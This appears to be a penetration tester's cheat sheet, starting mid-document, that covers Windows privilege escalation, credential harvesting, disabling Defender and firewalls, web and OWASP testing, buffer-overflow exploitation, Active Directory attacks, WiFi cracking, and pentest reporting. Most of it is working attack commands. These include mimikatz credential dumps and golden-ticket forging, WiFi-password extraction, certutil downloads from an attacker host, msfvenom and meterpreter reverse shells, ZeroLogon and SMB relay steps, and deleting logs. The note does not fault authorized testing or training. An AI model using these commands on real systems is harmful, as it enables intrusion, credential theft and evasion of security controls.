        BUILTIN\Users:(I)(RX)   <-- this is wrong - regular users should not have read access!

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

```
mimikatz> token::whoami /full

mimikatz> misc::shadowcopies

mimikatz> lsadump::sam /system:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\S
sam:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\S

mimikatz> lsadump::secrets /system:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\S
security:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\S
```

Search for file contents

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```

Search for a file with a certain filename

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* ==
*.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

Search the registry for key names and passwords

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# Windows
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
2>nul | findstr

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP
parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text
proxy credentials
```

```
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Read a value of a certain sub key

```
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList.
```

Passwords in unattend.xml

```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt
2>nul.
```

Location of the unattend.xml files.

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Unattend credentials are stored in base64 and can be decoded manually with base64.

```
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d
SecretSecurePassword1234*
```

IIS Web config

```
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction
SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

Other files

```
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
```

%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs*
C:\Program Files\Windows PowerShell*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Wifi passwords

Find AP SSID

netsh wlan show profile

Get Cleartext Pass

netsh wlan show profile <SSID> key=clear

Oneliner method to extract wifi passwords from all the access point.

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/

SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p
s3cr3tP@ss

Powershell History

Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle
SaveNothing.

type %userprofile%
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_histor
type C:
\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Cons
type
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Powershell Transcript
C:
\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM
C:
\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTA
Password in Alternate Data Stream
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag

AV Enumeration

sc query windefend
sc queryex type= service

netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config

$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq
"0"} | select name,applicationname,localports

Disable Firewall

Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal

Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`

Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off

Windows Defender

check status of Defender
PS C:\> Get-MpComputerStatus

disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1

exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

remove signatures (if Internet connection is present, they will be downloaded again):
PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All

Applocker Enumeration

PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

• Applocker Bypass
◇ https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
◇ https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/

VerifiedAppLockerBypasses.md
◇ https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md

Default Writeable Folders

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public

Automated Tools

Executables
winPEAS.exe

PowerShell
sherlock.ps1
PowerUp.ps1
jaws-enum.ps1

Other
windows-exploit-suggester.py

Using Automated Tools

using meterpreter > upload file into c:\\windows\\tmp
run winPEAS.exe (NEEDS .NET 4.0

using meterpreter > load powershell
./PowerUp.ps1
Invoke-PowerUp

using meterpreter > use post/multi/recon/local_exploit_suggester

Windows Exploit Suggesterpy (GITHUB)

Kernel Exploits

A computer program that facilitates communication between hardware and

software (A translator)

windows kernel exploit (GITHUB)

Escalation with Metasploit

always try kitrap0d exploit if vulnerable!
    use windows/local/ms10_015_kitrap0d

Try others that appear if not found

Manually Escalate (tRy HaRdEr!!)

windows exploit suggester will show potential kernel exploits

search "MSXX-XXX exploit"

Escalating with Passwords and Port Forwarding

Post Exploitation

File Transfer Methods

certutil.exe -urlcache -f http://ATTACKERIP/file newfilename

python -m SimpleHTTPServer 80

Browser directly to file

python -m pyftpdlib 21 (FTP to attacker machine)

wget http://ATTACKERIP/file

Meterpreter upload/download filename

Maintining Access

Add user

net user USERNAME PASSWORD /add

Metasploit

persistence -h
use exploit/windows/local/persistence
use exploit/windows/lical/registry_persistence
Scheduled Tasks
run scheduleme
run schtask abuse

Pivoting

using MSFConsole
use exploit/windows/smb/psexec and login to a machine using known credentials

run autoroute -s IPADDRESS

use auxillary/scanner/portscan/tcp and scan the new domain

Cleanup

remove executables, scripts, and added files
remove any trojans, malware, added users
revert any changed settings
delete any logs associated with your presence

Web Enumeration

Sub Domain Enumeration

assetfinder [--subs-only] <domain>

cd /opt/AssetFinder/
./subdom.sh <domain>

OR
./sumrecon.sh <domain

amass enum -d <domain>

<targetfile> | httprobe -s | sed ‘s/https\?:\/\///’ | tr -d ‘:PORT’

Web Enumeration (80/443)

dirb http://$IPADDRESS/

nikto –h $IPADDRESS

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://IPADDRESS/FUZZ

Automate Screenshots

gowitness scan IPADDRESS/RANGE

Version detection + NSE scripts
nmap -Pn -sV -p $port "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN tcp_port_protocol_nmap.txt $ip
Nikto

nikto -h $url 2>&1 | tee "tcp_port_protocol_nikto.txt"
Directory brute force

gobuster dir -u $url -w /usr/share/seclists/Discovery/Web-Content/common.txt -x "txt,html,php,asp,aspx,jsp" -s "200,204,301,302,307,403,500" -k -t 16 -o "tcp_port_protocol_gobuster.txt"

python3 /opt/dirsearch/dirsearch.py -u $url -t 16 -e txt,html,php,asp,aspx,jsp -f -x 403 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-report="tcp_port_protocol_dirsearch.txt"

Dirbuster (GUI): only perform extension brute force - disable 'Brute Force Dirs'

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 -t 16 $url/FUZZ 2>&1 | tee "tcp_port_http_wfuzz.txt"

Directory brute force recursively with max depth = 2
python3 /opt/dirsearch/dirsearch.py -u $url/apps/ -t 16 -e txt,html,php -f -x 403 -r -R 2 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-report="tcp_port_protocol_dirsearch_apps.txt"
Whatweb

whatweb --color=never --no-errors -a 3 -v $url 2>&1 | tee "tcp_port_protocol_whatweb.txt"
Wordpress

Enumerate vulnerable plugins and themes, timthumbs, wp-config.php backups, database exports, usernames and media IDs
wpscan --url $url --no-update --disable-tls-checks -e vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan.txt

Enumerate all plugins
wpscan --url $url --disable-tls-checks --no-update -e ap --plugins-detection aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan_plugins.txt
Robots.txt

/robots.txt
Only get HTTP headers

curl -I $url
Cewl

cewl $url/index.php -m 3 --with-numbers -w cewl.txt
Drupal

python3 drupwn --version 7.28 --mode enum --target $url

droopescan scan drupal -u $url
Shellshock

Check if bash vulnerable to CVE-2014-6271 (bash vulnerable if ‘vulnerable’ in output)
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Brute force CGI files
gobuster dir -u $url/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x "cgi,sh,pl,py" -s "200,204,301,302,307,403,500" -t 16 -o "tcp_port_protocol_gobuster_shellshock.txt"

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/CGIs.txt --hc 404 -t 16 $url/cgi-bin/FUZZ 2>&1 | tee "tcp_port_protocol_wfuzz.txt"

Webmin uses cgi files - versions up to 1.700 vulnerable to shellshock (http://www.webmin.com/security.html)

OWASP Top 10 Attacks

Utilize the OWASP testing checklist.xslx to make sure you don't miss anything!

docker run -d -e "NODE_ENV=unsafe" -p 3000:3000 bkimminich/juice-shop

SQL Injection

test out sql injection by using ' or admin (sleep 10)
attempt to login using:
admin' OR 1=1; --

* User-supplied data is not validated, filtered, or sanitized by the application.
* Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
* Hostile data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.
* Hostile data is directly used or concatenated, such that the SQL or command contains both structure and hostile data in dynamic queries, commands, or stored procedures.
Some of the more common injections are SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object Graph Navigation Library (OGNL) injection. The concept is identical among all interpreters. Source code review is the best method of detecting if applications are vulnerable to injections, closely followed by thorough automated testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML data inputs. Organizations can include static source (SAST) and dynamic application test (DAST) tools into the CI/CD pipeline to identify newly introduced injection flaws prior to production deployment.

https://owasp.org/www-project-top-ten/2017/A1_2017-Injection

PayloadAllTheThings:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/

SQL%20Injection

Broken Authenication

Does it allow credential stuffing? (Intruder)
Does it prevent BruteForcing?
Does it use default of weak credentials
Does it use ineffecitve or weak recovery method
Does it require MFA?
Does it expose session ID's?
Does it rotate session ID's?
Does it invalidate older Session ID's?

* Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords.
* Permits brute force or other automated attacks.
* Permits default, weak, or well-known passwords, such as “Password1” or “admin/admin“.
* Uses weak or ineffective credential recovery and forgot-password processes, such as “knowledge-based answers”, which cannot be made safe.
* Uses plain text, encrypted, or weakly hashed passwords (see A3:2017-Sensitive Data Exposure).
* Has missing or ineffective multi-factor authentication.
* Exposes Session IDs in the URL (e.g., URL rewriting).
* Does not rotate Session IDs after successful login.
* Does not properly invalidate Session IDs. User sessions or authentication tokens (particularly single sign-on (SSO) tokens) aren’t properly invalidated during logout or a period of inactivity.

https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication

Sensitive Data Exposure

Looking for back-up files, password files, PII, PHI
ENUMERATE find hidden directories, hidden files
Look for missing headers on securityheaders.com
        such as the Strict Transport Security header
nmap --script=ssl-enum-cyphers -p 443 TARGET

* Is any data transmitted in clear text? This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. Verify all internal traffic e.g. between load balancers, web servers, or back-end systems.
* Are any old or weak cryptographic algorithms used either by default or in

older code?
* Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
* Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?
* Does the user agent (e.g. app, mail client) not verify if the received server certificate is valid?

https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure

XML External Entities (XXE)

Enumerate with unauthenicated and authenicated accounts looking for potential avenues of attack

FILE UPLOADS are ALWAYS INTERESTING!
reverse shells, XXE, malicious payloads, dump information, etc.

PayloadAllTheThings:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md#classic-xxe

* The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor.
* Any of the XML processors in the application or SOAP based web services has document type definitions (DTDs) enabled. As the exact mechanism for disabling DTD processing varies by processor, it is good practice to consult a reference such as the OWASP Cheat Sheet 'XXE Prevention'.
* If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable.
* If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.
Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks including the Billion Laughs attack

https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)

Broken Access Control

User gets access to somewhere they shouldn't
inspect element and remove hidden fields, change password fields to text fields, etc.

* Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.
* Allowing the primary key to be changed to another's users record, permitting viewing or editing someone else's account.
* Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user.
* Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation.
* CORS misconfiguration allows unauthorized API access.
* Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html

Security Misconfigurations

Default credentials, unpatched software, plaintext transmission, missing headers, improper error handling

* Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
* Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).
* Default accounts and their passwords still enabled and unchanged.
* Error handling reveals stack traces or other overly informative error messages to users.
* For upgraded systems, latest security features are disabled or not configured securely.
* The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.
* The server does not send security headers or directives or they are not set to secure values.
* The software is out of date or vulnerable (see A9:2017-Using Components

with Known Vulnerabilities).
Without a concerted, repeatable application security configuration process, systems are at a higher risk.

https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration

Cross Site Scripting (XSS)

* Reflected XSS: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim's browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
* Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
* DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.

https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)

PayloadAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

xss payloads
https://github.com/pgaijin66/XSS-Payloads/blob/master/payload/payload.txt

Reflected XSS

Does not get stored on the Server side (refreshed/deleted once you leave the page)

<iframe src="javascript:alert(`xss`)">.
<script>alert(1)</script>

Stored XSS

Gets saved on the server and is resubmitted each time the page is loaded.

Insecure Deserialization

* Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.
Serialization may be used in applications for:
* Remote- and inter-process communication (RPC/IPC)
* Wire protocols, web services, message brokers
* Caching/Persistence
* Databases, cache servers, file systems
* HTTP cookies, HTML form parameters, API authentication tokens

https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization

PayloadAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization

Component and Known Vulnerabilities

* If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.
* If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.
* If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.
* If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.
* If software developers do not test the compatibility of updated, upgraded, or patched libraries.

https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities

Insufficient Logging & Monitoring

* Auditable events, such as logins, failed logins, and high-value transactions are not logged.
* Warnings and errors generate no, inadequate, or unclear log messages.
* Logs of applications and APIs are not monitored for suspicious activity.
* Logs are only stored locally.
* Appropriate alerting thresholds and response escalation processes are not in place or effective.
* Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts.
* The application is unable to detect, escalate, or alert for active attacks in real time or near real time.

https://owasp.org/www-project-top-ten/2017/A10_2017-Insufficient_Logging%2526Monitoring

Buffer Overflows

Spiking

generic_send_tcp IPADDRESS PORT stats.spk 0 0
generic_send_tcp IPADDRESS PORT Truns.spk 0 0
repeat for each potentially vulnerable service

Fuzzing

run fuzzing1.py to find the number of bytes until the crash

Finding the Offset

Generate a pattern using:
/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l LENGTH

Add this new pattern to the Fuzzing python script under the variable name “Offset”

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -l LENGTH -q OFFSET

Overwriting the EIP

Run the badchar.py script and identify which hexcodes are not produced in order. (ie: 01-09, A0-A9)
Use the “Follow in Dump” option of ESP to identify the badchars

Right down the ones that are missing and make sure to write them down to remove them from your shellcode.

Using MONA to find EIP

Download MONA.py to C:\Program Files x86\ImmunityInc\ImmunityDebugger\PYCommands

Run " !Mona Modules
Find the process with no protections

Load up NASM Shell at

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell.rb

Search for vulnerable Process
JMP ESP
and write down the hex information (FFE4)

Return to Immunity and search
!mona find -s “\xff\xef” -m PROCESSNAME

Notate the new hex code
Enter the new hex code into the EIP.py script in little endian (reverse)

Generate Shell Code

msfvenom -p windows/shell_reverse_tcp LHOST=IPADDRESS LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\ALL\BAD\CHARS"

Add to EIP and begin attempting to add NOPs (“\x99”) and run the exploit until the program works

Use MONA to find ByteArray

Create a folder called “mona” in c:\

!mona config -set workingfolder c:\mona

!mona bytearray -cpb “\x00”

Use MONA to find BadChars

!mona compare -f c:\mona\bytearray.bin -a ESP-HEX

Use MONA to find JMP

!mona jmp -r ESP -m “PROCESS”

Attacking AD

Enumerating AD

Enumerate users

net user
net user /domain
net user $domain_user /domain
Enumerate groups

net group /domain

Includes domain users that are part of local administrators group
net localgroup administrators
PowerView

Import PowerView
PS> Import-Module .\PowerView.ps1

Get info about current domain
PS> Get-NetDomain

```
# List members of Domain Admins group
PS> Get-NetGroupMember -GroupName "Domain Admins"

# List all computers in domain
PS> Get-NetComputer

# Enumerate logged-on users
# NB: only lists users logged on to target if we have local administrator privileges on target
PS> Get-NetLoggedon -ComputerName $hostname

# Enumerate active user sessions on servers e.g. file servers or domain controllers
PS> Get-NetSession -ComputerName $hostname

# Enumerate SPNs
PS> Get-NetUser -SPN | select serviceprincipalname
```

Abusing LLMNR poisoning

Using responder -
python /opt/Responder/Responder.py -I INTERFACEID -rdwv

(Defend against this by disabling LLMNR and NBT)

SMB Relay Attacks

nmap --script=smb2-security-mode.nse -p445 NETWORK

(If SMB signing is disabled)

Send targets to a list (targets .txt)

Launch Responser
Launch NTLMRelayx.py
python /opt/impacket-0.9.19/examples/ntlmrelayx.py -tf targets.txt -smb2support

-i Interactive
-e Execute
-c Command

Copy SAM hashes and crack offline

Getting a Shell with PSExec

Use SAM database credentials to exploit SMB

MSF > exploit/windows/smb/psexec
Set RHOST
Set smbdomain (testlab.local)
set smbuser (Username)
set smbpass (crackedPass)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST

run

OR

psexec.py DOMAIN.LOCAL/Username:Password@IPADDRESS

smbexec.py DOMAIN.LOCAL/Username:Password@IPADDRESS

wmiexec.py DOMAIN.LOCAL/Username:Password@IPADDRESS

Utilizing MITM6

mitm6 -d DOMAIN.local

ntlmrelayx.py -6 -t ldaps://IPADDRESS -wh fakewpad.testlab.local -l lootme

Utilize the new credential created to login to DC

Abusing ZeroLogon

run >> python3 zerologon_tester.py MACHINE IPADDRESS

if it confirms that it can be abused:

run >> python3 cve-2020-1472-exploit.py MACHINE IPADDRESS
confim using >> secretsdump.py -just-dc DOMAIN/MACHINE\$@IPADDRESS
(notate admin hash)

Restore by finding the plain_password_hex hash:
secretsdump.py Administrator@IPADDRESS -hashes ADMINHASH

python3 restorepassword.py DOMAIN/MACHINE@MACHINE -target-ip IPADDRESS -hexpass PLAINPASSHASH

Internal Playbook

Begin by running MITM6 or Responder
Run scans to try to generate traffic
Look for websites in scope
Look for default creds (printers, Jenkins, etc)

AD Post Compromise

Powersploit's PowerView.ps1 Enumeration

get powerview on a box and run it in powershell

Get-NetDomain
Get-NetDomainController
Get-DomainPolicy
(Get-DomainPolicy)."SPECIFIC POLICY"
Get-NetUser | select cn
Get-NetUser | select samaccountname
Get-UserProperties -Properties logonaccount (identify honeypots)
Get-NetComputer
Get-NetComputer -FullData
Get-NetGroup
Get-NetGroupMember -GroupName “NAME”
Get-NetGPO | select displayname, whenchanged
Invoke-ShareFinder

Bloodhound Enumeration

Run neo4j console and login to bloodhound with neo4j password

get SharpHound loaded onto the target device

Invoke-BloodHound -CollectionMethod All -Domain DOMAIN.local -ZipFileName file.zip

load .zip file into Bloodhound

Pass the Hash/ Password

crackmapexec smb IPPADDRESS/RANGE -u USER -H HASH --local
crackmapexec smb IPPADDRESS/RANGE -u USER -d DOMAIN.local -p PASSWORD
(USE Single Quotes for passwords with symbols
secretsdump.py DOMAIN/USER:PASSWORD@IPADDRESS (Use to get all system user info

use psexec to abuse found hashes
psexec.py “USERNAME”@IPADDRESS -hashes NTLM:HASH

Token Impersonation

msfconsole
use exploit/windows/smb/psexec
set RHOST to victim
set smbdomain to domain.local
set smbuser to captured credentials
set smbpass to captured credentials
set target to native upload

load incognito

add_user
list_tokens -u
impersonate_tokens domain\\user

tokens only work until reboot
(limit token creation permission, local admin restriction, account tiering)

Kerberoasting

python GetUserSPNs.py domain.local/user:password -dc-ip IPADDRESS -request

Use HASHCAT to break password (Password Cracking section)

(Use strong passwords and least privilege)

GPP Attack

MS14-025 in SMB enabled machines, Group.xml file is important
prompt off
recurse on
mget *
Groups.xml file contains hashes and usernames
gpp-decrypt HASH

or MSF > use auxillary/smb_enum_gpp

use PSEXEC to login with credentials or kerberoasting to get domain credentials

URL File Attacks

from an open file share or compromised user account

upload a .url file (ex on Desktop) to the share and run responder to listen for hashes

PrintNightmare

create a dll to abuse vulnerability with MSFVenom
share dll with smbserver.py share 'PATH/TO/FILE -smb2support
start msfconsole > use /multi/handler and set payload to one used in MSFVnom
use Cube0x0 github exploit and connect to attacker share

MIMIKatz

Get MIMIKatz onto the compromised machine

execute mimikatz.exe

privilege::debug >> “20” ok is what we want to see

sekurlsa::logonpasswords >> Shows all users logged on since last reboot and computer NTLM Hashes

lsadump::sam (/patch) >> Show all user passwords on a system

lsadump::lsa /patch >> DUMP Local Security Authority (creates logons for local computer)

Golden Ticket

using mimikatz
run privilege::debug
run lsadump::lsa /inject /name:krbtgt

get SID of domain
get ntlm hash of TGS account

kerberos::golden /User:Administrator /domain:DOMAIN.local /sid:COPIEDSID /krbtgt:COPIEDHASH /id:500 /ptt

misc::cmd

Wireless Penetration Testing

MUST Have external WIFI card (ALFA antenna)

WIFI hacking Process

Place card in Monitor Mode
Discover Network information (SSID,Channel,BSSID)
Select network and capture data
Perform deauth attack
Capture WPA handshake
Attempt to crack the handshake

run iwconfig to ensure wireless card is present

airmon-ng check kill >> kills any process that may interrupt the process

airmon-ng start wlan0 >> set wireless card in monitor mode

airodump-ng wlan0mon >> shows all connections close by (look for MAC (bssid) and name) lower power level is closer to the antenna

airodum-ng -c CHANNEL# --bssid MACADDRESS -w FILENAME wlan0mon
wait for handshake to appear OR perform deauth and listen for handshake

DEAUTH Attack
aireplay-ng -0 1 -a BSSIDMAC -c CLIENTMAC wlan0mon
May have to run multiple times,multiple clients, but you will get the handshake eventually
.cap file that was produced can be used to crack the password, use wordlists to crack hashes

aircrack -w WORDLIST -b BSSIDMAC CAPTURE.CAP >> find Router passphrase with wordlists

Legal Documents and Reports

Report Writing

- Confidentiality Statement
- Point in Time statement
- Client Point of Contact
- Attacker Point of Contact
- Assessment Overview
- Assessment Components
- Findings Severity Rating
- Risk Factors (Likelihood and Impact)
- Scope
    - ◇ Exlusions
    - ◇ Allowances
- Executive Summary
    - ◇ Time Frame
    - ◇ Summary of Test
    - ◇ Discovery (ONLY CRITICAL)
    - ◇ Solution
- Strengths and Weaknesses
- Vulnerability Scan Info and Report
- Technical Findings
    - ◇ Most Critical to Least Critical
    - ◇ Description and Facts
    - ◇ Risk
    - ◇ Tools Used
    - ◇ References
    - ◇ Evidence (Screenshots)
- Remediation
- (Repeat for each finding)
- Informational findings
    - ◇ Current users with data
- Additional scans and reports
    - ◇ Neesus
    - ◇ Excel Sheet
    - ◇ Additional document

Common Documents

Sales Documents

Mutual Non-disclosure agrrements (NDA)

Not allowed to talk about the findings I have discovered, and you can't discuss our methodology

Master Service Agreement (MSA)
Contractual document outlines objectives and responsibilites for each party.

Statement of Work (SOW)
Outlines activities, timelines, deliverables, payments

Others:
Sample Reports, Recommendation letters, etc.

PRE-Engagement

Rules of Engagement
Defines exact IP range, excluded machines/IP's. unauthorized testing (DoS, Social Engineering), DO NOT START UNTIL THIS IS SIGNED

Post Engagement

Findings Report
Describes what was found at a high-level, as well as technical details of how the test was conducted

Common Findings

Insufficient Authentication Controls

MFA not implemented, logins can be bypassed with password sprays and scans
Use VPN or ensure MFA is enabled everywhere
Usually High-Critical
NIST 800-53 IA-2(11)

Weak Password Policy

Logging in with “winter2021” usually means they have a bad password
Policy Password is public and viewable
Try to sign up
use denylists that block dictionary words/rockyou/other breached lists
NIST 800-63B

Insufficient Patching

Versions with open, known vulnerabilities and CVE's.
Legacy/Out of Date systems
Upgrade to latest patch/version
NIST 800-53 MA-6
NIST 800-53 SI-2

Default Credentials

Very fast compromise
VERY common (ALWAYS CHECK)
Change the manufacturer password immediately on opening
NIST 800-53 IA-5

Insufficient Encryption

MOST common
Not using HTTPS
Weak Ciphers (low for attack)
    SSL/TLS1 / Sweet32 / RC4 / Self Signed
